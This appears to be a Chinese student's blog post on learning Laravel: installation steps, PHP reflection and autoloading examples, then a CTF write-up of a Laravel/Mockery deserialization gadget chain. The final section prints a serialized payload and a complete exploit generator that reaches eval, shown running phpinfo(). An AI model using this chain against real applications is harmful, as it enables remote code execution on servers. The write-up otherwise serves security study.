Xi4or0uji's blog

laravel框架学习

字数统计: 2.8k阅读时长: 13 min
2019/08/05 Share

前段时间国赛打自闭了,框架一个接一个,菜鸡还没开始好好研究就已经要用了,学习一波,如有错误,烦请大佬斧正

安装

鉴于菜鸡安装还是踩了一点坑,所以记录一下
首先第一点,不要用一键安装包!!!千万不要用!!搭建过程虽然省事,但是启动以后一堆bug,菜鸡调试半天都没能解决完,最后还是弃坑,自己搭
再接下来就是自己先搭一个服务器环境,菜鸡是在window搭建的,所以就直接用了xampp去搭建,省事还快捷,下载安装就行了,这里注意一点,因为laravel大量使用php的新特性,所以下载xampp的时候最好使用最新版,以免出现不兼容的情况

composer

因为laravel框架需要用到composer进行管理,所以我们需要先下载安装,网址如下

1
https://docs.phpcomposer.com/00-intro.html

下载下来基本无脑next就行,中间找php解释器的时候如果安装程序不能自动找到就自己找一下给个路径,最后顺带选择同意让他将系统的环境变量配好,安装完成以后测试一下,在命令框输入composer,如果出现下图,那就基本安装好了

laravel

安装好composer,重启一下apache,就可以开始安装laravel了,这里安装还是很简单的
首先命令行进入xampp下的htdocs文件夹

1
cd xampp/htdocs/

然后运行

1
composer create-project laravel/laravel --prefer-dist

这个时候如果结果如下图而且htdocs目录下有个laravel文件夹,就基本能下载安装框架成功了

但是如果出下如下错误

1
2
3
[Composer\Downloader\TransportException]
The "https://packagist.org/p/symfony/polyfill-ctype%24de39fcb04af7704e77b309de60f85b9a505bd04379afd8bbff7ada66e1478fb8.json"
file could not be downloaded (HTTP/1.1 404 Not Found)

则需要先运行以下两句命令

1
2
composer clear-cache
composer dump-autoload

然后再用composer去运行上面的创建项目语句,如果结果如上所说,就基本成功
最后再访问一下http://localhost/laravel/public/index.php(具体路径根据自己的目录而定,出现下图的话,恭喜你,laravel框架成功搭建

前置知识

反射

反射之前菜鸡也写过一篇博客,这里就直接贴代码不解释了,结合php开发手册估计基本都能理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
class test{

public $name = "Ariel";
private $nickname = "Xi4or0uji";
protected $gender;

private function get(){
$this -> name = "Ariel";
return $this->name;
}
public function hello(){
return " hello world";
}
}

//获取类
$obj = new ReflectionClass("test");
//获得类名
$classname = $obj -> getName();
echo "classname: ".$classname."<br>";
$methods = $properties = [];
//获得属性名
foreach ($obj -> getProperties() as $v){
$properties[$v -> getName()] = $v;
}
ksort($properties);
foreach ($properties as $k => $v){
if ($v -> isPrivate()){
echo $v." is public"."<br>";
}
if ($v -> isProtected()){
echo $v."is protected"."<br>";
}
if ($v -> isPrivate()){
echo $v."is private"."<br>";
}
}
//获得方法名
foreach ($obj -> getMethods() as $v){
// echo $v->getName()."<br>";
$methods[$v -> getName()] = $v;
}
ksort($methods);
foreach ($methods as $k => $v){
echo "function is ".$k."<br>";
}
//调用
$test = new test();
$ref = new ReflectionClass($test);
$method = $ref -> getMethod("get");
$method -> setAccessible(true); //调用私有函数需要设置
print $method->invoke($test);

//这种写法也可以
$ref = new ReflectionClass('test');
$instance = $ref -> newInstanceArgs(); //相当于实例化test类
$method = $ref->getMethod('get');
$method -> setAccessible(true); //调用私有函数需要设置
echo $method -> invoke($instance);

还有一个thinkphp的反射?菜鸡没实验成功,就贴链接吧

1
https://www.cnblogs.com/52php/p/5675237.html

自加载与命名空间

手动加载

这些基本都是直接贴代码+注释,不作详细的讲解2333

include

查找顺序:

1
2
3
4
5
include参数没路径:
include_path执行的目录 -> 脚本文件所在的目录和当前工作目录
include参数有路径:
include参数的目录 -> 脚本文件所在的目录和当前工作目录
如果找不到只发出warming

具体加载过程
class.php

1
2
3
4
5
6
<?php
class Test{
static public function get(){
echo "hello";
}
}

load.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
echo "1"."<br>";
$ret = include "class.php";
echo sprintf("include ret-value: %d, ret-type: %s <br>", $ret, gettype($ret));
Test::get();
//包含不存在的文件
echo "<br>"."2"."<br>";
$ret1 = include "./class1.php";
echo sprintf("include ret-value: %d, ret-type: %s <br>", $ret1, gettype($ret1));
//重复包含
echo "<br>"."3"."<br>";
$ret2 = include "./class.php";
echo sprintf("include ret-value: %d, ret-type: %s <br>", $ret2, gettype($ret2));
Test::get();

结果

结论

1
2
3
include成功返回1,失败返回false
include失败只会返回warning,不会中断运行
include不能重复包含,会直接报错

include_once
1
2
3
4
5
6
7
8
9
10
11
12
13
echo "1"."<br>";
$ret = include_once "class.php";
echo sprintf("include ret-value: %d, ret-type: %s <br>", $ret, gettype($ret));
Test::get();

echo "<br>"."2"."<br>";
$ret1 = include_once "./class1.php";
echo sprintf("include ret-value: %d, ret-type: %s <br>", $ret1, gettype($ret1));
//类重复加载
echo "<br>"."3"."<br>";
$ret2 = include_once "./class.php";
echo sprintf("include ret-value: %d, ret-type: %s <br>", $ret, gettype($ret));
Test::get();

结果

结论

1
2
其实跟include差不多,成功包含返回1,但是可以重复加载,其实也不能算是重复加载,是直接用之前包含了的  
文件不存在也只是报warming,不影响后面执行

require

不放代码和图片了,跟include差不多,成功包含返回1,但是重复包含会报错,包含不存在的文件也会报错

require_once

跟include_once差不多,成功包含返回1,可以重复包含,但包含不存在的文件会报错

__autoload

这里我们还是拿原来那个类,但是命名规范一点
test.php

1
2
3
4
5
6
<?php
class Test{
static public function get(){
echo "hello";
}
}

load.php

1
2
3
4
5
6
//__autoload
function __autoload($classname){
$filename = "./".lcfirst($classname).".php";
include_once ($filename);
}
Test::get();

这个方法会自动加载没包含进去的类,如果找不到就报错,最后运行直接就出hello了,但是菜鸡在官方文档看到这一句

1
2
Warning
This feature has been DEPRECATED as of PHP 7.2.0. Relying on this feature is highly discouraged.

菜鸡的php环境是7.2.1,居然还能用(摊手

spl_autoload_register

官方文档对此函数解释如下

1
2
将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活,则激活它们。
如果在你的程序中已经实现了__autoload()函数,它必须显式注册到__autoload()队列中。

先贴个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//test.php
class Test{
static public function get(){
echo "hello f1";
}
}

//ttt.class.php
class Ttt{
static public function test(){
echo "hello f2";
}
}

//load.php
//spl_autoload_register
$load1 = function ($classname){
echo "load1"."<br>";
$filename = "./".lcfirst($classname).".php";
include_once ($filename);
};

$load2 = function ($classname){
echo "load2"."<br>";
$filename = "./".lcfirst($classname).".class.php";
include_once ($filename);
};

spl_autoload_register($load1);
spl_autoload_register($load2);
Test::get();
Ttt::test();

先放个回显

菜鸡尝试了一波,具体流程是
spl队列里面放了两个函数,一个load1,一个load2,接下下面调用两个类的方法,队列首先出来一个load1的方法,去寻找有test.php文件,找到了就执行里面的get函数,接着就寻找ttt.php文件,找不到就结束当前的函数,接着队列弹出下一个函数load2,接着去执行当时没有执行的类,然后就寻找ttt.class.php文件并执行

命名空间

这个部分菜鸡还是直接贴代码&总结,8具体解释了

1
2


mockery组件反序列化分析

几天前ph牛在小密圈发了之前code breaking lumenserial的官方exp,遂学习一波

1
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}

入口还是那个熟悉的配方,嗯,就是PendingBroadcasting那个类
Illuminate\Broadcasting\PendingBroadcasting.php里面有个__destruct函数,没错,又是这个函数…….

1
2
3
4
5
public function __destruct()
{
// $this->events->dispatch(protected $this->event);
$this->events->dispatch($this->event);
}

而这两个参数$this->event$this->events,都是可以控制的,再找一下别的类有没有dispatch这个方法,ph大师傅给了Illuminate\Bus\Dispatcher里面的dispatch方法

1
2
3
4
5
6
7
8
public function dispatch($command)
{
// if (protected $this->queueResolver && instanceof $this->commandShouldBeQueued($command))
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}

先看前面的if有两个条件,第一个是$this->queueResolver,另一个则是$this->commandShouldBeQueued($command),而$this->queueResolver这个参数是可控的,跟过去commandShouldBeQueued方法看一下

1
2
3
4
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}

ShouldQueue是一个接口,所以这个只要满足继承了这个接口就行了,这里ph牛用了Illuminate\Broadcasting\BroadcastEvent这个类

1
2
3
4
class BroadcastEvent implements ShouldQueue
{
......
}

所以这两个条件都是能满足的,再跟下去dispatchToQueue函数看一下有什么

1
2
3
4
5
6
7
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
// $queue = call_user_func(protected $this->queueResolver, $command->connnetction);
$queue = call_user_func($this->queueResolver, $connection);
......
}

很愉快地看到了call_user_func,包含两个参数,$this->queueResolver就是上面的dispatch的那个参数,而$connection是由传参$command决定的
再接着就是找个能调用的方法了,这里ph牛给了个Mockery\Loader\EvalLoader

1
2
3
4
5
6
7
8
9
10
11
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}

eval("?>" . $definition->getCode());
}
}

这个类很简短,里面只有个load方法,还有个eval,所以接下来我们就是要想办法让class_exists($definition->getClassName(), false)返回false,控制$definition->getCode()这个值啦
先跟过去看getClassName方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
namespace Mockery\Generator;

class MockDefinition
{
protected $config;
protected $code;

public function getClassName()
{
return $this->config->getName();
}

public function getCode()
{
return $this->code;
}
}

发现getClassName调用的是getName,继续跟过去,代码只放关键部分

1
2
3
4
5
6
7
8
9
10
11
12
namespace Mockery\Generator;

class MockConfiguration
{
protected $name;

public function getName()
{
return $this->name;
}

}

可以看到getName会返回$name,而这个参数是可控的,至此,我们已经可以成功控制class_exists($definition->getClassName(), false)的返回值了
最后看一下$definition->getCode()方法的返回值,上面贴的代码可以看到,返回的code也是可控的,所以pop已经很清晰了

1
2
3
4
利用PendingBroadcast的__destruct方法调用Dispatcher的dispatch方法
利用BroadcastEvent满足$this->commandShouldBeQueued($command)这个条件,接着调用dispatchToQueue方法
利用dispatchToQueue方法去调用EvalLoader的load方法
控制MockDefinition和MockConfiguration的变量使load方法的if条件返回false,最后成功执行eval

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
<?php

namespace Illuminate\Broadcasting{

class PendingBroadcast{

protected $event;
protected $events;

function __construct($event, $events)
{
$this->event = $event;
$this->events = $events;
}

// function __destruct()
// {
// $this->events->dispatch($this->event);
// }

}

}

namespace Illuminate\Bus{

class Dispatcher{

protected $queueResolver;

function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}

// public function dispatch($command)
// {
//// if (protected $this->queueResolver && instanceof $this->commandShouldBeQueued($command))
// if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
// return $this->dispatchToQueue($command);
// }
//
// return $this->dispatchNow($command);
// }

}
}

namespace Illuminate\Broadcasting{

class BroadcastEvent{

protected $connection;

function __construct($connection)
{
$this->connection = $connection;
}

}
}

namespace Mockery\Loader{

class EvalLoader{

public function load(MockDefinition $definition)
{
// if (class_exists($definition->getClassName(), false)) {
// return;
// }
// eval("?>" . $definition->getCode());
}
}

}

namespace Mockery\Generator{

class MockDefinition{

protected $config;
protected $code;

function __construct($config)
{
$this->config = $config;
$this->code = "<?php phpinfo(); ?>";
}

}

class MockConfiguration{

protected $name;

function __construct()
{
$this->name = "abcd";
}
}
}

namespace {

$EvalLoader = new Mockery\Loader\EvalLoader();
$queueResolver = [$EvalLoader,"load"];
$MockConfiguration = new Mockery\Generator\MockConfiguration();
$MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
$BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
$Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($BroadcastEvent, $Dispatcher);
echo urlencode(serialize($PendingBroadcast));

}

参考

https://www.php.net/manual/zh/
https://segmentfault.com/a/1190000012203213
https://segmentfault.com/a/1190000004851664

CATALOG
  1. 1. 安装
    1. 1.1. composer
    2. 1.2. laravel
  2. 2. 前置知识
    1. 2.1. 反射
    2. 2.2. 自加载与命名空间
      1. 2.2.1. 手动加载
        1. 2.2.1.1. include
        2. 2.2.1.2. include_once
        3. 2.2.1.3. require
        4. 2.2.1.4. require_once
      2. 2.2.2. __autoload
      3. 2.2.3. spl_autoload_register
      4. 2.2.4. 命名空间
  3. 3. mockery组件反序列化分析
  4. 4. 参考